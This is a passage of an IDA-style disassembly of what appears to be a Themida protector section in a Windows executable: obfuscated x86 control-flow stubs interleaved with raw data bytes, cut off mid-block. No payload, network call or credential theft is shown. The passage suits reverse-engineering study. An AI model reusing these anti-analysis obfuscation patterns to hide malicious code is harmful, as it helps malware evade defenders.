		dd 0CC27ED81h, 0E929E60Ch, 240C875Dh, 6A05E95Ch, 0BD550000h
		dd 5A0802h, 4246C01h, 939FE95Dh
		db 2 dup(0FFh)
word_55F51E	dw 8B66h		; DATA XREF: Themida_:00552C64o
		dd 0E9502404h, 3FBEh, 31241C33h, 1C33241Ch, 5F9CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F536:				; CODE XREF: Themida_:00564A42j
		sub	ecx, 626640C9h
		jmp	loc_5674FA
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 58h
		dd 1747054h, 58EB81FBh,	81747054h, 0CF0F29C3h, 243C8B09h
		dd 4C481h, 0D2E90000h, 87FFFF6Ch, 0E4C381FBh, 0E93FFF56h
		dd 0FFFF90A3h, 0DAC2E957h, 0B951FFFFh, 98B5DBBDh, 0E959CE31h
		dd 0FFFFA79Ah, 53240489h, 286A17BBh, 0FFEB8328h, 0FFF422E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F595:				; CODE XREF: Themida_:005566D8j
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_554FB1
; ---------------------------------------------------------------------------


loc_55F5AA:				; CODE XREF: Themida_:005651B7j
		sub	ecx, edx
		jmp	loc_554104
; ---------------------------------------------------------------------------
		db 81h,	2Ch, 24h
		dd 65B647EFh, 0EFBF575Dh, 165B647h, 34FF5FFDh
		db 24h,	5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edx
		push	edi
		mov	edi, 4
		mov	edx, edi
		pop	edi
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	ebx, 2D3E8679h
		sub	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_55D0A4
; ---------------------------------------------------------------------------


loc_55F600:				; CODE XREF: Themida_:005660D6j
		xor	edi, 4AE56CA7h
		xor	edi, 215E1470h
		mov	eax, edi
		push	dword ptr [esp]
		jmp	loc_55F32B
; ---------------------------------------------------------------------------
word_55F616	dw 8368h		; DATA XREF: Themida_:00552A3Co
		dd 89000034h, 6855240Ch, 4CA30A8Dh, 6EDC15Dh, 73D7C581h
		dd 8957FECDh, 0E9F989EFh, 19B7h, 84E930FFh
		db 36h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F63F:				; CODE XREF: Themida_:0055D111j
		add	esp, 4
		add	ebp, edx
		mov	edx, [esp]
		jmp	loc_553929
; ---------------------------------------------------------------------------
		db 5Ch
		dd 3C8B5457h, 5D5AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F65A:				; CODE XREF: Themida_:0055CD38j
		push	esi
		mov	esi, 690A0C69h
		push	edx
		mov	edx, 6AE94C93h
		xor	edx, 1F573219h
		and	edx, 0C3825ADh
		inc	edx
		and	edx, 48EC0244h
		xor	edx, 318F5729h
		xor	edx, 1A281F4Dh
		sub	esi, edx
		mov	edx, [esp]
		add	esp, 4
		not	esi
		push	edx
		mov	edx, 0D93F529Eh
		xor	esi, edx
		pop	edx
		jmp	loc_559DC2
; ---------------------------------------------------------------------------
		db 51h,	68h, 4
		dd 0E9000000h, 0FFFFEE8Eh, 561CBF57h, 0F781470Bh, 134E240Bh
		dd 81C7E9h, 5AD18900h, 1F31E9h,	0C5815800h, 2C092B0Ah
		dd 57CCBF57h, 0BD550622h, 50C7F3C9h, 79E9EF31h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F6DB:				; CODE XREF: Themida_:00554D7Bj
		add	esp, 4
		jmp	loc_5671B1
; ---------------------------------------------------------------------------
		dw 1489h
		dd 2474FF24h, 48F5A04h,	24248B24h, 2301E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F6F9:				; CODE XREF: Themida_:00553791j
		pop	esi
		sub	ecx, edi
		push	eax
		mov	eax, 1EC44F35h
		push	ebx
		mov	ebx, 2505FAB8h
		add	eax, ebx
		jmp	loc_556F6E
; ---------------------------------------------------------------------------


loc_55F70F:				; CODE XREF: Themida_:0056561Bj
		mov	ecx, esp
		push	eax
		jmp	loc_5630DA
; ---------------------------------------------------------------------------
		db 47h
		dd 0FF3A4DE9h, 12C780FFh, 8004E7C0h, 0C7808FCFh, 0E9F83038h
		dd 19DAh
aM0FsSv		db '╛0ьfS╥%,вИ╒',27h,0  ; DATA XREF: Themida_:00552B34o
		align 2


loc_55F73E:				; CODE XREF: Themida_:00556FEAj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_563230
; ---------------------------------------------------------------------------
		dw 4D2h
		dd 6CE99C24h, 5DFFFF35h, 28EBC681h, 0EE8126A2h,	591037F0h
		dd 6A11E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F769:				; CODE XREF: Themida_:0055362Dj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_556B05
; ---------------------------------------------------------------------------
		dd 8B243487h, 50532424h, 2C8FBA52h, 0E2C17FB0h,	43F28106h
		dd 0C1243441h, 0C1E908E2h, 4DFFFFB5h, 0F581D5F7h, 73A35ADDh
		dd 0F918F581h, 0E8890054h, 0FF70DDE9h, 24048BFFh, 5304C483h
		dd 0A342FBBh, 0D3F74B75h, 0E905EBC1h, 547Bh, 5E94E58h
		dd 81FFFFCCh, 4C7h, 4BE5600h, 1000000h,	3431E9F7h, 58540000h
		dd 0FF7900E9h, 31D1F7FFh, 0D685E9C8h, 0D829FFFFh, 6368E9h
		db 0
byte_55F7F1	db 0ADh, 0E9h, 0DCh	; DATA XREF: Themida_:00552B60o
		dd 5AFFFF9Bh, 31241C33h, 1C33241Ch, 24248B24h, 0F66E9F6h
		dd 61E9CCB6h, 68000065h, 120h, 0E9243489h, 0FFFFCB24h
		dd 6E3D34BAh, 0BE565707h, 1A8904C2h, 815EF789h,	0D3A4C7EFh
		dd 5FFA09F6h, 0CDE9DAF7h, 81FFFF5Bh, 0B14BE2EEh, 0AC0E95Ch
		dd 0FE890000h, 46E9585Fh, 89FFFF36h, 4BA2414h, 0E9000000h
		dd 0FFFFBA75h, 2EBC158h, 0FFD35AE9h, 242C89FFh,	4BDh, 5DE80100h
		dd 0FFDEB7E9h, 242C89FFh, 0EA28F5BDh, 5400E96Dh, 0ACB80000h
		dd 97BE078h, 0C18158C1h, 80180518h, 1AFEEB81h, 0CB015F2Eh
		dd 1AFEC381h, 0BFE95F2Eh, 5000002Fh, 8D685055h,	5843D570h
		dd 0FFE64FE9h, 74FF56FFh, 8F5E0424h, 248B2404h,	386D6824h
		dd 2C890000h, 815D5424h, 4C5h, 4C58100h, 87000000h, 0FF5C242Ch
		dd 81592434h, 4ECh, 241C8900h, 0E951E389h, 0FFFF668Fh
		dd 0E9240489h, 26ACh, 0E95BDF01h, 0FFFFCD3Dh, 241C895Ch
		dd 2BBh, 619D6800h, 34890000h, 6035E924h, 0C781FFFFh, 0D2D2CEDh
		dd 3C8BF829h, 0BE0DE924h, 0EC83FFFFh, 240C8904h, 0BE565954h
		dd 3B1809CFh, 8106EEC1h, 0C255CCE6h, 8E6C10Dh, 8103EEC1h
		dd 8007CEEh, 8BF10118h,	0C4832434h, 7E086804h, 4890000h
		dd 99685324h, 8B39E938h, 9DE9241Ch, 29000005h, 4812404h
		dd 71FCF24h, 2404817Eh,	49160E1Ah, 0BC240481h, 8B73872Ch
		dd 82E92404h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F983:				; CODE XREF: Themida_:005655DAj
		xor	eax, esi
		xor	esi, eax
		jmp	loc_5641E5
; ---------------------------------------------------------------------------
aUsV		db 'UИ',27h,'V',0
		align 2
		dw 0F781h
		dd 7DFF3F9Bh, 0A24F781h, 0EF811D99h, 3AB155E7h,	70E9FB89h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F9AB:				; CODE XREF: Themida_:0055B104j
		add	esp, 4
		add	esp, 4
		sub	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5538E2
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 69B6E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F9C9:				; CODE XREF: Themida_:005631F4j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_562614
; ---------------------------------------------------------------------------


loc_55F9DC:				; CODE XREF: Themida_:005653A7j
		inc	edx
		shr	edx, 1
		jmp	loc_5650E0
; ---------------------------------------------------------------------------


loc_55F9E4:				; CODE XREF: Themida_:00558AB8j
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, 4
		jmp	loc_5665D4
; ---------------------------------------------------------------------------
		db 29h
		dd 5E953D0h, 8100006Eh,	0DDE87AF5h, 7EBDE9FEh, 99050000h
		dd 5E101A2Ah, 31240433h, 4332404h, 28E95C24h, 30FFFFF5h
		dd 0F58058C5h, 80D5F6B8h, 0F580ECF5h, 0FFB353BDh, 24ED80h
		dd 24C580DDh, 0A9ED805Bh, 34FFEE00h, 0FAE95924h, 66FFFFA2h
		dd 5AD52859h, 0DBE9E830h, 58000031h, 8904EC83h,	74FF2434h
		dd 0E95E0424h, 3FD5h
; ---------------------------------------------------------------------------


loc_55FA60:				; CODE XREF: Themida_:0055B72Aj
		mov	ch, 0ACh
		mov	bl, 7Dh
		add	bl, ch
		jmp	loc_553B0F
; ---------------------------------------------------------------------------


loc_55FA6B:				; CODE XREF: Themida_:00561B81j
		add	eax, 4
		push	ebx
		mov	ebx, 3B446230h
		add	ebx, 6EEE5054h
		push	edi
		mov	edi, 4F7A553Ah
		jmp	loc_55DFEC
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FF3236E9h, 5BF828FFh, 3C047B04h, 0EC815B66h, 2, 0FF3E38E9h
		dd 1EB81FFh, 0F7000000h, 0A3F381DBh, 81BA17B4h,	0EF3189C3h
		dd 38E95200h, 29FFFFC0h, 0FDC181F1h, 0E944041Bh, 0FFFF556Ah
		dd 0E95DEE89h, 4604h
; ---------------------------------------------------------------------------


loc_55FAD0:				; CODE XREF: Themida_:00556655j
		mov	ecx, 9E42CFDh
		xor	[esp+4], ecx
		pop	ecx
		jmp	loc_55A8F5
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 3358C229h
		db 14h
byte_55FAE9	db 24h,	31h, 14h	; DATA XREF: Themida_:005550BCo
		dd 7898E924h, 0BD55FFFFh, 417E7C75h, 8246C29h, 0A2CE95Dh
		db 2 dup(0)
word_55FB02	dw 8B66h		; DATA XREF: Themida_:00552B2Co
		dd 5451240Ch, 68A4E9h, 6EEC100h, 46D6F74Eh, 0BCB1C681h
		dd 0F7296EBCh, 7EFC15Eh, 92F6EF81h, 0FE09EDC8h,	88A0E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FB2E:				; CODE XREF: Themida_:0055906Cj
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_55E88A
; ---------------------------------------------------------------------------
		db 0B8h
		dd 524B43F3h, 68h, 0CE70E900h, 0B652FFFFh, 0C0DEF676h
		dd 0D76807E6h, 8900004Ch, 1BB42404h, 531CEC80h,	0FF3AC9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FB69:				; CODE XREF: Themida_:00559DE4j
		push	dword ptr [edi+eax*4]
		push	ebp
		jmp	loc_55514E
; ---------------------------------------------------------------------------
		dw 0D1F7h
		dd 463BE981h, 0C18168CBh, 8E136C0h, 0EEE9E9D1h,	0E9FFFFA3h
		dd 0FFFF3137h, 4240481h, 5B000000h, 4C381h, 0EB830000h
		dd 74FF5304h, 0FBE90424h, 21FFFF37h, 24348BF1h,	81E68956h
		dd 4C6h, 4C68100h, 87000000h, 248B2434h, 2E1C124h, 2390E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FBC9:				; CODE XREF: Themida_:0055A109j
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	edx
		mov	edx, 4
		mov	edi, edx
		pop	edx
		jmp	loc_562EAA
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FF5ECCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FBF1:				; CODE XREF: Themida_:005659A2j
		mov	esi, esp
		add	esi, 4
		jmp	loc_56550D
; ---------------------------------------------------------------------------


loc_55FBFE:				; CODE XREF: Themida_:00565314j
		pop	eax
		push	ebx
		mov	ebx, 12174302h
		and	ecx, ebx
		pop	ebx
		not	ecx
		jmp	loc_55A7C2
; ---------------------------------------------------------------------------


loc_55FC0F:				; CODE XREF: Themida_:005599BBj
		neg	esi
		push	ecx
		mov	ecx, 35F20D57h
		add	esi, ecx
		pop	ecx
		add	eax, esi
		pop	esi
		sub	eax, 7A0056B7h
		shl	eax, 8
		xor	eax, 0A584FD9Eh
		xor	edi, eax
		pop	eax
		xor	ebp, edi
		pop	edi
		sub	edx, 385F360Ah
		add	edx, ebp
		jmp	loc_564124
; ---------------------------------------------------------------------------


loc_55FC3D:				; CODE XREF: Themida_:00561286j
		xor	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_556653
; ---------------------------------------------------------------------------


loc_55FC4A:				; CODE XREF: Themida_:00563E66j
		pop	ecx
		not	edi
		inc	edi
		jmp	loc_56760E
; ---------------------------------------------------------------------------
		db 57h
		dd 4BFh, 86EA8100h, 1003368h, 86C281FAh, 5F003368h, 3304C283h
		dd 8FE92414h
		db 5, 2	dup(0)
byte_55FC73	db 66h			; DATA XREF: Themida_:00552BBCo
		dd 68240C8Bh, 6278h, 0E9240489h, 0FFFF3DF5h
; ---------------------------------------------------------------------------


loc_55FC84:				; CODE XREF: Themida_:00561ACFj
		add	ecx, 1A3176EAh
		sub	eax, 69AF4FF0h
		add	eax, ecx
		add	eax, 69AF4FF0h
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		push	edi
		jmp	loc_55B3F7
; ---------------------------------------------------------------------------


loc_55FCAC:				; CODE XREF: Themida_:0056166Cj
		sub	ebx, 4A7C1FD9h
		jmp	loc_566339
; ---------------------------------------------------------------------------
		db 89h
		dd 80E9241Ch
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FCBF:				; CODE XREF: Themida_:0055990Dj
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_552CC3
; ---------------------------------------------------------------------------
		dd 403DA22Dh, 5D8011Dh,	1D403DA2h, 7632BF57h, 0F82935C7h
		dd 0BF57525Fh, 414A013Ch, 3E9DBA52h, 0DAF71B2Bh, 1E6BE281h
		dd 0C28164F8h, 7C0A6825h, 33EFC281h, 0F3E97E65h, 31000064h
		dd 81555BDDh, 4F702404h, 81595473h, 734F70E9h, 242C8B54h
		dd 81E78957h, 4C7h, 4C78100h, 87000000h, 315C243Ch, 240C8BCDh
		dd 2904C483h, 2434FFE8h, 0B25FE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FD3E:				; CODE XREF: Themida_:0056023Dj
		push	edi
		push	ecx
		mov	ecx, 5E124F2Eh
		jmp	loc_55E5F9
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 83242489h, 0E9042404h, 4901h, 0D20D9C05h,	90A4E939h
		dd 0EC81FFFFh, 4, 88240C89h, 59EB88C5h,	8324048Bh, 9EE904C4h
		dd 53FFFFD8h, 0F0771A68h, 0F74B5B7Ch, 0E236E9D3h, 0E1C1FFFFh
		dd 75CAE903h, 0E9590000h, 0FFFFB610h
; ---------------------------------------------------------------------------


loc_55FD9C:				; CODE XREF: Themida_:00554232j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		push	4618321Fh
		pop	edx
		not	edx
		sub	edx, 3B7E45B3h
		push	edx
		not	dword ptr [esp]
		pop	edx
		sub	edx, 47473475h
		mov	ebx, edx
		pop	edx
		push	eax
		mov	eax, 0C5B0BCA7h
		jmp	loc_5646D3
; ---------------------------------------------------------------------------
		db 59h,	56h, 0E9h
		dd 0FFFF3357h, 95D2E95Eh, 0E95CFFFFh, 0FFFF887Dh, 1778E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FDEE:				; CODE XREF: Themida_:0055C041j
		shl	edx, 3
		push	esi
		mov	esi, 7CF927E6h
		dec	esi
		add	esi, 0ABA05A9h
		and	esi, 680E199Bh
		push	ebx
		mov	ebx, 264660F7h
		xor	esi, ebx
		pop	ebx
		inc	esi
		jmp	loc_55F116
; ---------------------------------------------------------------------------


loc_55FE13:				; CODE XREF: Themida_:00563A5Fj
		push	ecx
		jmp	loc_5609EC
; ---------------------------------------------------------------------------
		align 2
aSv_0		db 'сИv{',0
		align 10h


loc_55FE20:				; CODE XREF: Themida_:00557F15j
		mov	ecx, 41041D5Fh
		xor	ecx, 111D7B52h
		push	esi
		mov	esi, ecx
		jmp	loc_552DC6
; ---------------------------------------------------------------------------
		db 29h
		dd 16055AD0h, 2D6EFA38h, 28A407C5h, 24043359h, 33240431h
		dd 248B2404h, 48B6624h,	0DD06824h, 4890000h, 0E9585424h
		dd 0FFFF8E15h, 0BD9BEF81h, 0FB01F8EDh, 0E954535Fh, 2873h
		dd 8704C783h, 0D4E9243Ch, 33FFFFF7h, 8DE9240Ch,	0FF000005h
		dd 74E92434h, 81FFFF8Eh, 321FE6h, 0CE814656h, 0CC5199h
		dd 2B98BF57h, 2AE912E6h, 81FFFF33h, 35432AE9h, 0E9CD31E4h
		dd 0FFFF94D0h, 6C04E952h, 6F68FFFFh, 8900000Fh,	0CAE92414h
		dd 8100004Eh, 5F47242Ch, 42916A9h, 24048124h, 16A95F47h
		dd 6B240481h, 8166534Eh, 19F42404h, 0EC8344DFh,	24048904h
		dd 951E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FEEE:				; CODE XREF: Themida_:0055410Bj
		push	ecx
		jmp	loc_55500C
; ---------------------------------------------------------------------------


loc_55FEF4:				; CODE XREF: Themida_:00566151j
		sub	ecx, 1
		add	ecx, 0FFFFFFFFh
		push	ebx
		jmp	loc_557C0F
; ---------------------------------------------------------------------------
		dd 4C481h, 0EBC10000h, 0E9DBF704h, 0FFFF54DBh, 0C380D328h
		dd 24148BDFh, 4C481h, 5AE90000h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FF23:				; CODE XREF: Themida_:0055468Fj
		mov	ebx, 5EBD5867h
		or	ebx, 1BFB6B13h
		inc	ebx
		push	edx
		mov	edx, 4227049h
		jmp	loc_565A7C
; ---------------------------------------------------------------------------
		dw 489h
		dd 0E54AE924h, 0C483FFFFh, 4EC8104h, 89000000h,	9ABD242Ch
		dd 4D237A40h, 7F2068h, 24348900h, 4EC8355h, 0E9240489h
		dd 5C7Ah, 55240C89h, 0DC0807BDh, 0EB895376h, 3AE9D989h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FF7B:				; CODE XREF: Themida_:00554A0Dj
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_55FF82:				; CODE XREF: Themida_:0055BEA8j
		push	2E01h
		jmp	loc_5659A7
; ---------------------------------------------------------------------------
		dd 2B685552h, 5D56F865h, 24D7F581h, 0EA89529Eh,	0BBF2815Dh
		dd 557DE24Fh, 0C71EB8BDh, 0E1F8E929h, 665CFFFFh, 0E99CC885h
		dd 0FFFFF17Bh
; ---------------------------------------------------------------------------


loc_55FFB8:				; CODE XREF: Themida_:00563BB9j
		jmp	loc_552CC3
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 4D062404h, 40161E9h, 242C8124h, 61E94D06h
		dd 14B768h, 240C8900h, 0C1815954h, 4, 8704E983h, 248B240Ch
		dd 24048924h, 0FFEFFDE9h, 434505FFh, 4DE90558h,	1000023h
		dd 835F5AD1h, 0BBE902C1h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56000B:				; CODE XREF: Themida_:005534C1j
		add	eax, ebx
		pop	ebx
		push	eax
		sub	dword ptr [esp], 41A34EDBh
		pop	edx
		add	edx, 41A34EDBh
		mov	eax, [esp]
		add	esp, 4
		dec	edx
		sub	edx, 43AC22E3h
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_55917A
; ---------------------------------------------------------------------------


loc_560037:				; CODE XREF: Themida_:00567609j
		push	ecx
		jmp	loc_561EAD
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 33241431h, 248B2414h, 8F36824h, 0C890000h, 48685324h
		dd 0E90F4217h, 7Dh
; ---------------------------------------------------------------------------


loc_56005C:				; CODE XREF: Themida_:0055D42Dj
		push	edi
		mov	edi, 3D160A76h
		shl	edi, 8
		jmp	loc_55AA32
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 68000000h,	2A65h, 0E9241C89h, 0DC1h, 0D2A6E950h
		dd 0E959FFFFh, 0FFFFEA81h, 362518BFh, 4EC814Bh,	89000000h
		dd 0B850242Ch, 527D265Ah, 482DD0F7h, 0E947447Bh, 0FFFFF409h
		dd 405h, 4C08300h, 0E9240487h, 0FFFF389Ah
; ---------------------------------------------------------------------------


loc_5600BC:				; CODE XREF: Themida_:00556465j
		sub	esi, 6FBA5065h
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5534E5
; ---------------------------------------------------------------------------
		db 5Bh,	50h, 89h
		dd 5F3E9E0h, 0DCE90000h
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5600E7:				; CODE XREF: Themida_:0055D075j
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_552CC3
; ---------------------------------------------------------------------------


loc_5600F2:				; CODE XREF: Themida_:005537C2j
		pop	dword ptr [esp]
		pop	esp
		xor	[esp], eax
		pushf
		jmp	loc_552CC3
; ---------------------------------------------------------------------------
		db 5Ch
		dd 240CFF66h, 2BB9E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56010A:				; CODE XREF: Themida_:005552CAj
		xor	esi, ebx
		jmp	loc_55CCF9
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0F9h
		dd 56EA752h, 9158AD0Bh,	4754E9h
		db 0
; ---------------------------------------------------------------------------


loc_560121:				; CODE XREF: Themida_:0056348Cj
		add	ebp, eax
		jmp	loc_55EB33
; ---------------------------------------------------------------------------
		dd 24048F59h, 8924248Bh, 0E2892414h, 2A0EBE56h,	0BA683C3Dh
		dd 89000014h, 5EBD242Ch, 31546667h, 242C8BEEh, 4C481h
		dd 0C6810000h, 6862033Dh, 8107E6C1h, 0A8467CEEh, 0E9F2015Eh
		dd 0FFFFB12Bh
; ---------------------------------------------------------------------------


loc_560168:				; CODE XREF: Themida_:0055DD9Fj
		push	esi
		jmp	loc_564317
; ---------------------------------------------------------------------------


loc_56016E:				; CODE XREF: Themida_:00555784j
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		push	7FCCh
		mov	[esp], eax
		jmp	loc_55747E
; ---------------------------------------------------------------------------
		dd 3576CA81h, 0EDE976EAh, 83FFFF78h, 555004C4h,	0D258CE68h
		dd 0ED815D2Bh, 29E610BCh, 0DDEAED81h, 0E889EB6Eh, 0D3EFE95Dh
		dd 3C8BFFFFh, 4C48324h,	0CC10E82Dh, 56F00152h, 0C06731BEh
		dd 8FE68110h, 81628535h, 4C35E9F6h, 5EF00152h, 0FFD7F6E9h
		dd 24248BFFh, 54242C89h, 4C5815Dh, 68000000h, 4A97h, 0E9243489h
		dd 0FFFF89C5h, 8704C683h, 885C2434h, 0DA77E9EEh, 1431FFFFh
		dd 24143324h, 0FFB00AE9h
		db 0FFh
byte_56020D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00552AA4o
aSxa		db '$И∙a',0
		align 2
		dw 487h
		dd 0A0E0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56021E:				; CODE XREF: Themida_:005579DCj
		shr	edi, 6
		add	edi, 71B7860Dh
		add	edx, edi
		pop	edi
		pop	edi
		jmp	loc_557A5C
; ---------------------------------------------------------------------------
		dd 24148B5Ch, 0C43E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56023A:				; CODE XREF: Themida_:00553CA8j
		add	esp, 4
		jmp	loc_55FD3E
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FF240489h, 8B042474h, 0C4832404h, 0AECDE904h, 0C381FFFFh
		dd 4, 8704C383h, 835C241Ch, 148904ECh, 57E28924h, 19B9E9h
		dd 52BE5600h, 8153B201h, 7F38F5F6h, 0E4EE817Fh,	0F7246373h
		dd 6EEC1D6h, 0C681D6F7h, 26C8C6A1h, 815EF221h, 372EEDC2h
		dd 0DAF2813Eh, 0F70EFB2Eh, 92EA81DAh, 2141E48Dh, 24148BD7h
		dd 0FF4437E9h, 0C8B66FFh, 2C48124h, 0E9000000h,	0FFFFF88Ah
; ---------------------------------------------------------------------------


loc_5602C4:				; CODE XREF: Themida_:0055B84Ej
		or	ebp, 181965E7h
		xor	ebp, offset sub_42106B
		push	esi
		mov	esi, 0AD951DF0h
		xor	ebp, esi
		jmp	loc_561D49
; ---------------------------------------------------------------------------
aBuV		db '│Нпv',0
		dw 5863h
		dd 0FFC95FE9h, 590205FFh, 0FE686A48h, 0E9000048h, 0FFFF76A1h
		dd 4C681h, 34870000h, 5F19E924h, 0C681FFFFh, 21E88183h
		dd 4CE9F001h, 5F000001h, 3304C583h, 2C31242Ch, 242C3324h
		dd 0E924248Bh, 0FFFF6727h, 6319C781h, 0DF2902D2h, 6319EF81h
		dd 1C8B02D2h, 4C48124h,	0FD000000h, 4C5768h, 241C8900h
		dd 0E7946BBh, 0E7895747h, 0FFC147E9h, 81E289FFh, 4C2h
		dd 75BAE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560362:				; CODE XREF: Themida_:0055A7BDj
		add	esp, 4
		sub	esp, 4
		jmp	loc_55A10E
; ---------------------------------------------------------------------------


loc_560370:				; CODE XREF: Themida_:00561BBFj
		pop	edi
		xor	ecx, edx
		jmp	loc_55A749
; ---------------------------------------------------------------------------


loc_560378:				; CODE XREF: Themida_:00557EE8j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55BDC5
; ---------------------------------------------------------------------------


loc_560387:				; CODE XREF: Themida_:00563F1Ej
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55DD7D
; ---------------------------------------------------------------------------
		dd 4C481h, 0F3800000h, 0F7CB8035h, 0EC81CBFEh, 4, 0B1240C89h
		dd 0EEEB80B3h, 2876EB80h, 76C380CBh, 0E9EEC380h, 0FFFF7694h
		dd 0CB4B9CB8h, 3337357Ch, 0E8E97291h, 89FFFF29h, 6C3158C5h
		dd 6FE90424h, 5900005Ch, 4C181h, 50E90000h, 0FFFFFFDFh
		dd 3EE92434h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_55A483
; ---------------------------------------------------------------------------
		dd 0E9240C31h, 0FFFFD3C3h
; ---------------------------------------------------------------------------


loc_560418:				; CODE XREF: Themida_:0055D8DFj
		push	edi
		mov	edi, esp
		push	ebp
		push	eax
		mov	eax, 1D6A04BBh
		mov	ebp, eax
		pop	eax
		dec	ebp
		xor	ebp, 72F53D45h
		add	ebp, 5A7320D2h
		jmp	loc_559E6B
; ---------------------------------------------------------------------------


loc_560437:				; CODE XREF: Themida_:005571F0j
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		push	ecx
		mov	ecx, 0FF70B09h
		push	ebx
		push	251A620Bh
		pop	ebx
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		xor	ebx, 8604CFDDh
		jmp	loc_565BB1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 28E92434h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560467:				; CODE XREF: Themida_:005549C1j
		add	esp, 4
		push	edi
		mov	edi, 45AE3BB3h
		jmp	loc_56087F
; ---------------------------------------------------------------------------


loc_560478:				; CODE XREF: Themida_:00560980j
		sub	esp, 4
		jmp	loc_56373F
; ---------------------------------------------------------------------------
		db 5Bh
		dd 15DEA31h, 24148BD0h,	4C481h,	0E9500000h, 0FFFF887Dh
; ---------------------------------------------------------------------------


loc_560498:				; CODE XREF: Themida_:00557DDDj
		mov	ecx, 447312D2h
		xor	ecx, 29401CA7h
		shr	ecx, 7
		sub	ecx, 24083612h
		add	ecx, 2A301837h
		sub	edx, ecx
		pop	ecx
		sub	edx, eax
		push	55E1h
		mov	[esp], edi
		mov	edi, 2995448Eh
		jmp	loc_557FB9
; ---------------------------------------------------------------------------


loc_5604C9:				; CODE XREF: Themida_:005552FBj
		xor	eax, ebx
		pop	ebx
		push	eax
		jmp	loc_5587AA
; ---------------------------------------------------------------------------
		dw 1487h
aSfv		db '$ИFV',0
		align 2
word_5604DA	dw 0FF66h		; DATA XREF: Themida_:00552B9Co
		dd 0BC70E932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5604E2:				; CODE XREF: Themida_:00560791j
		mov	[esp], ebx
		add	dword ptr [esp], 29804F01h
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		push	728h
		mov	[esp], eax
		push	ebp
		push	eax
